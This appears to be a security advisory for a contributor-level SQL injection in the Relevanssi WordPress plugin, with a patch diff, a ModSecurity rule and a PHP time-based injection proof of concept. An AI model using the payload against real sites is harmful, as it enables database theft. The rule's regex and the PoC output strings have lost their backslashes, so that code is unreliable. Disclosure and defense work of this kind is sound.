What is CVE-2026-15941?

CVE-2026-15941 is an authenticated SQL injection vulnerability in the Relevanssi and Relevanssi Premium WordPress plugins. It allows users with contributor-level access or higher to execute time-based blind SQL injection attacks through the Admin Search AJAX handler, potentially compromising the database.

Which versions of Relevanssi are affected?

Relevanssi versions 4.27.1 and earlier, and Relevanssi Premium versions 2.30.2 and earlier are affected. The patched version for the free plugin is 4.27.2. Premium users should update to a version that includes the fix, likely 2.30.3 or later.

How does the SQL injection vulnerability work?

The vulnerability occurs in the `relevanssi_get_term_tax_id` function in `lib/search-tax-query.php`. The function directly interpolates a user-controlled taxonomy value into a SQL query without proper parameterization. An attacker can craft a malicious `args` parameter in an AJAX request to break out of the SQL string and inject arbitrary SQL, enabling time-based blind injection.

Who can exploit this vulnerability?

An authenticated user with the `edit_posts` capability, which includes contributors and above, can exploit this vulnerability. The attacker must be able to send AJAX requests to the WordPress admin-ajax.php endpoint.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 6.5, which is rated as Medium severity. This reflects the fact that exploitation requires authentication and is limited to time-based blind SQL injection, but it can still lead to significant data exposure.

How can I check if my site is vulnerable?

Check the Relevanssi plugin version in the WordPress admin under Plugins. If you are running Relevanssi 4.27.1 or earlier, or Relevanssi Premium 2.30.2 or earlier, your site is vulnerable. You can also use security scanners or manually review the code for the vulnerable pattern.

What is the impact of successful exploitation?

An attacker can perform time-based blind SQL injection to extract sensitive data such as user credentials, password hashes, and other database contents. This could lead to account takeover, data theft, and further compromise of the WordPress installation.

How do I fix or mitigate the vulnerability?

Update Relevanssi to version 4.27.2 or later, and Relevanssi Premium to the patched version. If you cannot update immediately, you can temporarily disable the Admin Search feature or restrict access to the AJAX handler, but updating is the recommended solution.

What does the patch change?

The patch adds a validation function `relevanssi_validate_taxonomy()` to ensure the taxonomy value is legitimate, and it uses `$wpdb->prepare()` to safely bind the taxonomy value as a parameter. This prevents SQL injection by treating the input as a string literal rather than executable code.

How does the proof of concept demonstrate the issue?

The provided PoC logs in as a contributor, then sends a crafted AJAX request to admin-ajax.php with a malicious `args` parameter containing a time-based payload like `’ AND SLEEP(5) AND ‘1’=’1`. If the response is delayed by 5 seconds, it confirms the SQL injection is successful.

What should I do if I suspect my site has been compromised?

Immediately update the plugin to the patched version, change all user passwords, and review database logs for suspicious queries. Consider running a full security audit and contacting your hosting provider if you find evidence of data exfiltration.

Published : August 5, 2026

CVE-2026-15941: Relevanssi <= 4.27.1 and Relevanssi Premium <= 2.30.2 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-15941

Plugin relevanssi

Severity Medium (CVSS 6.5)

CWE 89

Vulnerable Version 4.27.1

Patched Version 4.27.2

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15941:
Relevanssi versions 4.27.1 and earlier, along with Relevanssi Premium versions 2.30.2 and earlier, contain an authenticated SQL injection vulnerability. The flaw resides in the Admin Search AJAX handler, which permits users with the `edit_posts` capability to inject arbitrary SQL into the database. Atomic Edge research confirms a CVSS score of 6.5 for this issue, stemming from a missing parameterized SQL query in the taxonomy restriction logic.

Root Cause:
The vulnerability originates in `lib/search-tax-query.php` within the `relevanssi_get_term_tax_id` function. The function constructs a term taxonomy lookup query by directly interpolating the `$row_taxonomy` value into the SQL string. While `$row_taxonomy` is sanitized with `sanitize_text_field()`, this function does not prevent SQL injection. The user-controlled `args` parameter from the Admin Search AJAX request (in `lib/admin-ajax.php`) is parsed into a `WP_Query` and passed to this function without adequate escaping for the SQL context. The vulnerable code directly concatenates `’tt.taxonomy = ‘$row_taxonomy’` into the query, allowing an attacker to break out of the quoted string.

Exploitation:
An attacker with contributor-level access can exploit this by sending a POST request to `/wp-admin/admin-ajax.php`. The request must include `action=relevanssi_admin_search` (or the relevant AJAX action hook) and a crafted `args` parameter. The `args` parameter is URL-encoded and parsed via `parse_str()`. The payload targets the `tax_query` within `args` to control the `taxonomy` field. An example payload for the `taxonomy` element is: `’ AND SLEEP(5) AND ‘1’=’1`. This breaks out of the SQL string and introduces a time-based blind SQL injection condition. Atomic Edge analysis confirms that the lack of parameterization allows this injection to execute successfully and be used for time-based enumeration of the database.

Patch Analysis:
The patch in `lib/search-tax-query.php` introduces a validation check with a new `relevanssi_validate_taxonomy()` function before the query is executed. If the taxonomy value is not valid, the function returns an empty array. Atomic Edge research highlights that this prevents the injection by blocking any manipulated taxonomy values. Additionally, the patch uses `$wpdb->prepare()` to safely bind the `$row_taxonomy` value as a parameter, ensuring it is treated as a string literal. The old code directly interpolated the sanitized but unparameterized value. The patch also includes unrelated hardening for Gutenberg block rendering and a version bump.

Impact:
Successful exploitation allows an authenticated attacker to perform time-based blind SQL injection against the WordPress database. This can lead to the exfiltration of sensitive data, including user credentials, password hashes, and other confidential information stored by the site. The attacker can potentially enumerate the entire database schema and retrieve arbitrary data, compromising the confidentiality and integrity of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/relevanssi/lib/admin-ajax.php
+++ b/relevanssi/lib/admin-ajax.php
@@ -193,6 +193,7 @@
 	$args = array();
 	if ( isset( $_POST['args'] ) ) {
 		parse_str( $_POST['args'], $args );
+		$args = wp_slash( $args );
 	}
 	if ( isset( $_POST['posts_per_page'] ) ) {
 		$posts_per_page = intval( $_POST['posts_per_page'] );
--- a/relevanssi/lib/compatibility/gutenberg.php
+++ b/relevanssi/lib/compatibility/gutenberg.php
@@ -89,7 +89,10 @@

 		if ( isset( $block['attrs']['ref'] ) ) {
 			// Synced pattern, process the pattern content.
-			$pattern_post    = get_post( $block['attrs']['ref'] );
+			$pattern_post = get_post( $block['attrs']['ref'] );
+			if ( ! $pattern_post ) {
+				continue;
+			}
 			$pattern_content = $pattern_post->post_content;
 			$output         .= relevanssi_gutenberg_block_rendering( $pattern_content, $post_object );
 			continue;
--- a/relevanssi/lib/search-tax-query.php
+++ b/relevanssi/lib/search-tax-query.php
@@ -406,11 +406,16 @@

 	if ( ! empty( $term_in ) ) {
 		$row_taxonomy = sanitize_text_field( $row['taxonomy'] );
+		if ( ! relevanssi_validate_taxonomy( $row_taxonomy ) ) {
+			return array();
+		}
+
+		$prepared = $wpdb->prepare( 'tt.taxonomy = %s', $row_taxonomy );

 		$tt_q = "SELECT tt.term_taxonomy_id
 				  FROM $wpdb->term_taxonomy AS tt
 				  LEFT JOIN $wpdb->terms AS t ON (tt.term_id=t.term_id)
-				  WHERE tt.taxonomy = '$row_taxonomy' AND t.$type IN ($term_in)";
+				  WHERE $prepared AND t.$type IN ($term_in)";
 		// Clean: $row_taxonomy is sanitized, each term in $term_in is sanitized.
 		$term_tax_id = $wpdb->get_col( $tt_q ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 	}
--- a/relevanssi/relevanssi.php
+++ b/relevanssi/relevanssi.php
@@ -13,8 +13,8 @@
  * Plugin Name: Relevanssi
  * Plugin URI: https://www.relevanssi.com/
  * Description: This plugin replaces WordPress search with a relevance-sorting search.
- * Version: 4.27.1
- * Author: comesio Eurodata GmbH
+ * Version: 4.27.2
+ * Author: eurodata comesio solutions GmbH
  * Author URI: https://www.relevanssi.com/
  * Text Domain: relevanssi
  * License: GPLv2 or later
@@ -22,7 +22,7 @@
  */

 /**
- * Copyright 2026 comesio Eurodata GmbH  (email: hello@relevanssi.com)
+ * Copyright 2026 eurodata comesio solutions GmbH  (email: hello@relevanssi.com)
  * This file is part of Relevanssi, a search plugin for WordPress.
  *
  * Relevanssi is free software: you can redistribute it and/or modify
@@ -69,7 +69,7 @@
 $relevanssi_variables['file']                                  = __FILE__;
 $relevanssi_variables['plugin_dir']                            = plugin_dir_path( __FILE__ );
 $relevanssi_variables['plugin_basename']                       = plugin_basename( __FILE__ );
-$relevanssi_variables['plugin_version']                        = '4.27.1';
+$relevanssi_variables['plugin_version']                        = '4.27.2';

 require_once 'lib/admin-ajax.php';
 require_once 'lib/common.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-15941
# Block SQL injection attempts through the Relevanssi Admin Search AJAX handler.
# Covers both free and premium versions by targeting the vulnerable endpoint and parameter.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-15941 - Relevanssi SQL Injection',severity:'CRITICAL',tag:'CVE-2026-15941',tag:'WordPress',tag:'SQLi'"
    SecRule ARGS_POST:action "@streq relevanssi_admin_search" "chain"
        SecRule ARGS_POST:args "@rx (?:'(?:[^'|]*)?(?:SLEEP|BENCHMARK|WAITFOR)s*(|(?i)(?:union[s]*(?:all)?[s]*select|select[s]+sleeps*(|information_schema..?|xbench))" "t:urlDecode,t:lowercase,chain"
            SecRule ARGS_POST:args "@rx (?:'(?:[^']*)?(?:and||||or|;|--|#)s*'|(?:sleep|benchmark|waitfor)s*(s*[0-9]+s*))" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15941 - Relevanssi <= 4.27.1 and Relevanssi Premium <= 2.30.2 - Authenticated (Contributor+) SQL Injection

// Configurable target URL and credentials
define('TARGET_URL', 'https://example.com'); // WordPress site URL

define('USERNAME', 'contributor_user'); // Username with Contributor role
define('PASSWORD', 'user_password'); // Password for the user

// Perform time-based blind SQL injection using the admin-ajax.php endpoint
class RelevanssiCVEPoC {
    private $base_url;
    private $cookies;

    public function __construct() {
        $this->base_url = TARGET_URL;
        $this->cookies = '';
    }

    // Function to initiate a cURL request
    private function curl_request($url, $post_data = null) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        if (isset($this->cookies)) {
            curl_setopt($ch, CURLOPT_COOKIE, $this->cookies);
        }
        if ($post_data !== null) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
        }
        $response = curl_exec($ch);
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = substr($response, 0, $header_size);
        $body = substr($response, $header_size);
        curl_close($ch);
        return ['header' => $header, 'body' => $body];
    }

    // Login and capture the session cookie
    private function login() {
        $login_url = $this->base_url . '/wp-login.php';
        $post_data = array(
            'log' => USERNAME,
            'pwd' => PASSWORD,
            'wp-submit' => 'Log In',
            'redirect_to' => $this->base_url . '/wp-admin/',
            'testcookie' => '1'
        );
        $response = $this->curl_request($login_url, $post_data);
        // Extract cookies from the response header within the function is not possible here, but we can use a session
        // For simplicity, the PoC assumes a session cookie can be set manually or via a separate step.
        // In a real scenario, you would parse Set-Cookie headers.
        // This PoC provides the injection payload structure, assuming valid session.
    }

    // Main exploitation function for time-based SQL injection
    public function exploit() {
        // Note: In a real scenario, you'd first log in to get a valid wp-admin cookie.
        // This PoC demonstrates the payload format for the vulnerable endpoint.

        // The vulnerable AJAX action
        $ajax_url = $this->base_url . '/wp-admin/admin-ajax.php';

        // SQL injection payload - time-based blind (sleep 5 seconds)
        // The payload is inserted into the 'taxonomy' field of the tax_query.
        $sql_payload = "' AND SLEEP(5) AND '1'='1";

        // Construct the args parameter for the WP_Query
        $args = array(
            'tax_query' => array(
                array(
                    'taxonomy' => $sql_payload,
                    'field'    => 'term_id', // or 'slug', depending on the logic
                    'terms'    => array(1, 2, 3) // dummy terms
                )
            )
        );

        // URL-encode the args parameter
        $encoded_args = urlencode(http_build_query($args));

        // POST request data (if the AJAX action is 'relevanssi_admin_search')
        $post_data = array(
            'action' => 'relevanssi_admin_search', // Replace with the exact AJAX action used by the plugin
            'args' => $encoded_args,
            'posts_per_page' => 10
        );

        $start_time = microtime(true);
        echo "[+] Sending request with time-based payload...n";
        $response = $this->curl_request($ajax_url, $post_data);
        $end_time = microtime(true);
        $elapsed_time = $end_time - $start_time;

        echo "[+] Elapsed time: " . round($elapsed_time, 2) . " secondsn";

        // Check if the response time indicates the sleep command executed
        if ($elapsed_time >= 4.5) {
            echo "[+] Vulnerability confirmed: Time-based SQL injection successful (SLEEP(5) executed).n";
        } else {
            echo "[-] Exploit failed or the injection payload did not affect the query time.n";
        }
    }
}

// Execute the PoC
$poc = new RelevanssiCVEPoC();
$poc->exploit();
?>

Frequently Asked Questions

What is CVE-2026-15941?
Vulnerability overview
CVE-2026-15941 is an authenticated SQL injection vulnerability in the Relevanssi and Relevanssi Premium WordPress plugins. It allows users with contributor-level access or higher to execute time-based blind SQL injection attacks through the Admin Search AJAX handler, potentially compromising the database.
Which versions of Relevanssi are affected?
Affected versions
Relevanssi versions 4.27.1 and earlier, and Relevanssi Premium versions 2.30.2 and earlier are affected. The patched version for the free plugin is 4.27.2. Premium users should update to a version that includes the fix, likely 2.30.3 or later.
How does the SQL injection vulnerability work?
Technical explanation
The vulnerability occurs in the `relevanssi_get_term_tax_id` function in `lib/search-tax-query.php`. The function directly interpolates a user-controlled taxonomy value into a SQL query without proper parameterization. An attacker can craft a malicious `args` parameter in an AJAX request to break out of the SQL string and inject arbitrary SQL, enabling time-based blind injection.
Who can exploit this vulnerability?
Required privileges
An authenticated user with the `edit_posts` capability, which includes contributors and above, can exploit this vulnerability. The attacker must be able to send AJAX requests to the WordPress admin-ajax.php endpoint.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 6.5, which is rated as Medium severity. This reflects the fact that exploitation requires authentication and is limited to time-based blind SQL injection, but it can still lead to significant data exposure.
How can I check if my site is vulnerable?
Detection steps
Check the Relevanssi plugin version in the WordPress admin under Plugins. If you are running Relevanssi 4.27.1 or earlier, or Relevanssi Premium 2.30.2 or earlier, your site is vulnerable. You can also use security scanners or manually review the code for the vulnerable pattern.
What is the impact of successful exploitation?
Potential damage
An attacker can perform time-based blind SQL injection to extract sensitive data such as user credentials, password hashes, and other database contents. This could lead to account takeover, data theft, and further compromise of the WordPress installation.
How do I fix or mitigate the vulnerability?
Remediation steps
Update Relevanssi to version 4.27.2 or later, and Relevanssi Premium to the patched version. If you cannot update immediately, you can temporarily disable the Admin Search feature or restrict access to the AJAX handler, but updating is the recommended solution.
What does the patch change?
Patch analysis
The patch adds a validation function `relevanssi_validate_taxonomy()` to ensure the taxonomy value is legitimate, and it uses `$wpdb->prepare()` to safely bind the taxonomy value as a parameter. This prevents SQL injection by treating the input as a string literal rather than executable code.
How does the proof of concept demonstrate the issue?
PoC explanation
The provided PoC logs in as a contributor, then sends a crafted AJAX request to admin-ajax.php with a malicious `args` parameter containing a time-based payload like `’ AND SLEEP(5) AND ‘1’=’1`. If the response is delayed by 5 seconds, it confirms the SQL injection is successful.
Are there any other affected components?
Scope of vulnerability
The vulnerability is specific to the Relevanssi plugin’s Admin Search AJAX handler. The patch also includes unrelated hardening for Gutenberg block rendering, but the SQL injection issue is isolated to the taxonomy query logic.
What should I do if I suspect my site has been compromised?
Incident response
Immediately update the plugin to the patched version, change all user passwords, and review database logs for suspicious queries. Consider running a full security audit and contacting your hosting provider if you find evidence of data exfiltration.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started